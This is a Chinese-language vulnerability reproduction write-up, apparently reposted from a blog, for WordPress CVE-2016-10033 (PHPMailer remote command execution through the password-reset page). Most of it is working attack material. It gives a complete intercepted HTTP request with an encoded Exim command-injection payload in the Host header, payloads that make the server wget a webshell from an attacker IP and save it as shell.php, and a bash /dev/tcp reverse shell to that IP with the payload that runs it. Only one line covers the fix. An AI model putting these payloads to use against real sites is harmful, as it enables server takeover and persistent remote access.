wordpress漏洞復現


簡介

2021年7月21日。

參考鏈接:

官網:https://wordpress.org/download/

百科:https://baike.baidu.com/item/WordPress/450615?fr=aladdin

WordPress是使用PHP語言開發的博客平台,用戶可以在支持PHP和MySQL數據庫的服務器上架設屬於自己的網站。也可以把 WordPress當作一個內容管理系統(CMS)來使用。
WordPress是一款個人博客系統,並逐步演化成一款內容管理系統軟件,它是使用PHP語言和MySQL數據庫開發的,用戶可以在支持 PHP 和 MySQL數據庫的服務器上使用自己的博客。
WordPress有許多第三方開發的免費模板,安裝方式簡單易用。不過要做一個自己的模板,則需要你有一定的專業知識。比如你至少要懂的標准通用標記語言下的一個應用HTML代碼、CSS、PHP等相關知識。
WordPress官方支持中文版,同時有愛好者開發的第三方中文語言包,如wopus中文語言包。WordPress擁有成千上萬個各式插件和不計其數的主題模板樣式。

pwnscriptum(CVE-2016-10033)

參考鏈接:

WordPress 使用 PHPMailer 組件向用戶發送郵件。PHPMailer(版本 < 5.2.18)存在遠程命令執行漏洞,攻擊者只需巧妙地構造出一個惡意郵箱地址,即可寫入任意文件,造成遠程命令執行的危害。

漏洞利用條件:

  • 不能包含特殊字符
  • 命令需為小寫
  • 命令需使用絕對路徑
  • 需要知道現有用戶名

注意點:命令只在服務器端執行命令、不會顯示在客戶端

漏洞影響版本:

  • WordPress <= 4.6 PHPMailer < 5.2.18

以上內容為復制粘貼。

需要注意的是:

參考鏈接:

  1. payload中run{}里面所有 /${substr{0}{1}{$spool_directory}} 代替
  2. payload中run{}里面所有 空格${substr{10}{1}{$tod_log}} 代替

payload:

aa(any -froot@localhost -be ${run{/bin/touch /tmp/success}} null)

漏洞復現

啟動環境,按照所需信息完成wordpress的安裝。記住注冊用戶的名稱。

漏洞位置在密碼重置界面/wp-login.php?action=lostpassword,在找回密碼時WordPress會使用PHPmailer發送重置密碼郵件,這個時候PHPmailer<=5.2.18時存在RCE。

登錄頁點擊忘記密碼,在用戶名或電子郵件地址輸入框輸入root(我注冊時填的是root)。點擊獲取新密碼,使用burp攔截抓包。

修改請求頭Host的值:

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
Content-Length: 84
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://139.198.172.202:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: wordpress_test_cookie=WP+Cookie+check; wp-settings-time-1=1626831956
Connection: close

user_login=root&redirect_to=&wp-submit=%E8%8E%B7%E5%8F%96%E6%96%B0%E5%AF%86%E7%A0%81

注意,需要將Host的值完全修改為payload,不再包含IP地址。

寫入webshell

利用的是curlwget命令下載遠程文件,比如下載一個webshell,再用webshell工具連接。注意:

  • 遠程 URL 中不能有 http://
  • 所有字母必須小寫
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}shell.php${substr{10}{1}{$tod_log}}139.198.172.202${substr{0}{1}{$spool_directory}}1.txt}} null)

上面的payload意思是:從139.198.172.202這個地址,下載1.txt,保存到靶機的/var/www/html下,並命名為shell.php

b

查看shell.php是否寫入成功。

蟻劍連接:

反彈shell

利用的思想跟寫入webshell差不多,是先使用curlwget下載含有執行命令內容的文件,再通過命令執行達到反彈shell的目的。

利用步驟:

  1. 發送payload使靶機下載1.txt,並保存到/tmp/shell
  2. 在攻擊機上監聽9999端口
  3. 發送payload使靶機運行shell

bash -i >& /dev/tcp/139.198.172.202/9999 0>&1寫入到攻擊機1.txt中。

發送payload,下載1.txt到靶機/tmp/shell

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}139.198.172.202${substr{0}{1}{$spool_directory}}1.txt}} null)

攻擊端監聽9999端口。

發送payload運行shell:

原:aa(any -froot@localhost -be ${run{/bin/bash /tmp/shell}} null)

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)

漏洞修復

  • 更新wordpress、phpmailer到最新版本


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM